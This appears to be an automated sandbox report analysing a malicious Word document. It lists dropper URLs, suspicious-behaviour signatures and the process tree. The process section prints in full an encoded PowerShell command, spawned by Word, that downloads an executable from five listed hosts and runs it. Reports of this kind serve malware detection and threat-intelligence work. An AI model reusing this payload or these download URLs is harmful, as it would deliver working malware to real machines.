Analysis
- max time kernel
134s - max time network
124s - platform
windows10-2004_x64 - resource
win10v2004-20240419-en - resource tags
- submitted
05/05/2024, 08:23
General
- Target 16ce401cd2bf0263b533c9dd87ee7d38_JaffaCakes118.doc
- Size 338KB
- Sample240505-kang1sfd36
- SHA256 438895e866661cfcfb92a604573f003536d9bfaa703a5a4f8dd741e78d7a0d8c
Malware Config
Extracted
-
ps1
-
exe.dropper
http://35.234.5.71/dke8rJ1zYK9d2CDr
-
exe.dropper
http://conando.vn/9PceFpg6P
-
exe.dropper
http://www.edvanta.com/wp-content/rVUyl6cvjXvhj
-
exe.dropper
http://www.pinquji.com/X8zw7c0hMYN7v3DD_L
-
exe.dropper
http://beautyhealthcareclub.com/pjaF9k7
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 4 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 7 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\16ce401cd2bf0263b533c9dd87ee7d38_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\powersheLl.exepowersheLl -e JABTAF8AXwBfADQANQA9ACgAJwByADUAOQA0ACcAKwAnADIAXwAnACkAOwAkAEYAOAAxADIAXwAwADcAPQBuAGUAdwAtAG8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQASQBfAF8ANwBfADMANgA9ACgAJwBoAHQAdABwADoALwAvADMANQAnACsAJwAuADIAMwA0AC4ANQAuADcAJwArACcAMQAnACsAJwAvAGQAawAnACsAJwBlADgAcgBKADEAegAnACsAJwBZAEsAOQBkACcAKwAnADIAQwBEAHIAQABoAHQAdAAnACsAJwBwADoALwAnACsAJwAvAGMAbwBuAGEAbgAnACsAJwBkAG8AJwArACcALgB2AG4AJwArACcALwA5AFAAYwBlAEYAcABnADYAUABAACcAKwAnAGgAdAAnACsAJwB0AHAAJwArACcAOgAvACcAKwAnAC8AdwB3AHcALgBlAGQAdgBhACcAKwAnAG4AdABhACcAKwAnAC4AYwAnACsAJwBvAG0ALwB3AHAAJwArACcALQAnACsAJwBjAG8AbgB0AGUAJwArACcAbgB0AC8AJwArACcAcgBWAFUAeQBsADYAYwAnACsAJwB2AGoAJwArACcAWAB2ACcAKwAnAGgAJwArACcAagBAAGgAdAB0AHAAOgAnACsAJwAvAC8AJwArACcAdwB3AHcAJwArACcALgBwAGkAbgBxAHUAagBpAC4AJwArACcAYwBvAG0ALwBYACcAKwAnADgAegB3ACcAKwAnADcAJwArACcAYwAwACcAKwAnAGgATQBZAE4ANwB2ADMARABEAF8AJwArACcATABAAGgAdAB0AHAAOgAvAC8AYgAnACsAJwBlAGEAJwArACcAdQB0AHkAaABlAGEAJwArACcAbAAnACsAJwB0AGgAYwBhAHIAZQBjAGwAdQBiAC4AJwArACcAYwAnACsAJwBvAG0ALwAnACsAJwBwAGoAYQBGADkAawA3ACcAKQAuAFMAcABsAGkAdAAoACcAQAAnACkAOwAkAGwAXwBfADEAOAAwAF8ANAA9ACgAJwBLAF8AJwArACcAOABfACcAKwAnADkAXwBfAF8AJwApADsAJABiADAANwAxAF8AMwAyACAAPQAgACgAJwA3ADEAJwArACcAOQAnACkAOwAkAGsANgAyAF8AMQBfADkANQA9ACgAJwB0ADkAMwAyACcAKwAnADYANQBfACcAKQA7ACQAZAAwADYAXwA1AF8AXwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAYgAwADcAMQBfADMAMgArACgAJwAuAGUAeAAnACsAJwBlACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFQAOAAwAF8AXwBfAF8AMgAgAGkAbgAgACQASQBfAF8ANwBfADMANgApAHsAdAByAHkAewAkAEYAOAAxADIAXwAwADcALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAVAA4ADAAXwBfAF8AXwAyACwAIAAkAGQAMAA2AF8ANQBfAF8AKQA7ACQARwA3AF8ANQAyADIAXwBfAD0AKAAnAFgANQAyAF8AJwArACcAXwAxACcAKwAnADUAMAAnACkAOwBJAGYAIAAoACgARwBlAHQALQBJAHQAZQBtACAAJABkADAANgBfADUAXwBfACkALgBsAGUAbgBnAHQAaAAgAC0AZwBlACAANAAwADAAMAAwACkAIAB7AEkAbgB2AG8AawBlAC0ASQB0AGUAbQAgACQAZAAwADYAXwA1AF8AXwA7ACQAbQAzAF8AOQA3ADUANQA9ACgAJwBKACcAKwAnADcAXwA0ADEAXwA2ADAAJwApADsAYgByAGUAYQBrADsAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAG8ANQBfAF8AOQBfADIAXwA9ACgAJwBFADIAJwArACcAMAAnACsAJwBfADIAXwAnACkAOwA=1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
sist02.xsl
__PSScriptPolicyTest_fge3aoi2.3gy.ps1
memory/1248-8-0x00007FFA2EA10000-0x00007FFA2EC05000-memory.dmp
memory/1248-33-0x00007FFA2EA10000-0x00007FFA2EC05000-memory.dmp
memory/1248-3-0x00007FF9EEA90000-0x00007FF9EEAA0000-memory.dmp
memory/1248-5-0x00007FFA2EA10000-0x00007FFA2EC05000-memory.dmp
memory/1248-6-0x00007FF9EEA90000-0x00007FF9EEAA0000-memory.dmp
memory/1248-7-0x00007FFA2EA10000-0x00007FFA2EC05000-memory.dmp
memory/1248-0-0x00007FF9EEA90000-0x00007FF9EEAA0000-memory.dmp
memory/1248-9-0x00007FFA2EA10000-0x00007FFA2EC05000-memory.dmp
memory/1248-13-0x00007FFA2EA10000-0x00007FFA2EC05000-memory.dmp
memory/1248-14-0x00007FF9ECA30000-0x00007FF9ECA40000-memory.dmp
memory/1248-15-0x00007FFA2EA10000-0x00007FFA2EC05000-memory.dmp
memory/1248-12-0x00007FFA2EA10000-0x00007FFA2EC05000-memory.dmp
memory/1248-17-0x00007FFA2EA10000-0x00007FFA2EC05000-memory.dmp
memory/1248-18-0x00007FF9ECA30000-0x00007FF9ECA40000-memory.dmp
memory/1248-16-0x00007FFA2EA10000-0x00007FFA2EC05000-memory.dmp
memory/1248-11-0x00007FFA2EA10000-0x00007FFA2EC05000-memory.dmp
memory/1248-4-0x00007FFA2EAAD000-0x00007FFA2EAAE000-memory.dmp
memory/1248-35-0x00007FFA2EA10000-0x00007FFA2EC05000-memory.dmp
memory/1248-10-0x00007FFA2EA10000-0x00007FFA2EC05000-memory.dmp
memory/1248-562-0x00007FFA2EA10000-0x00007FFA2EC05000-memory.dmp
memory/1248-2-0x00007FF9EEA90000-0x00007FF9EEAA0000-memory.dmp
memory/1248-561-0x00007FF9EEA90000-0x00007FF9EEAA0000-memory.dmp
memory/1248-1-0x00007FF9EEA90000-0x00007FF9EEAA0000-memory.dmp
memory/1248-520-0x00007FFA2EA10000-0x00007FFA2EC05000-memory.dmp
memory/1248-530-0x00007FFA2EA10000-0x00007FFA2EC05000-memory.dmp
memory/1248-531-0x00007FFA2EA10000-0x00007FFA2EC05000-memory.dmp
memory/1248-560-0x00007FF9EEA90000-0x00007FF9EEAA0000-memory.dmp
memory/1248-558-0x00007FF9EEA90000-0x00007FF9EEAA0000-memory.dmp
memory/1248-559-0x00007FF9EEA90000-0x00007FF9EEAA0000-memory.dmp
memory/3124-538-0x00007FFA2EA10000-0x00007FFA2EC05000-memory.dmp
memory/3124-532-0x00007FFA2EA10000-0x00007FFA2EC05000-memory.dmp
memory/3124-43-0x000002900ADF0000-0x000002900AE12000-memory.dmp
memory/3124-36-0x00007FFA2EA10000-0x00007FFA2EC05000-memory.dmp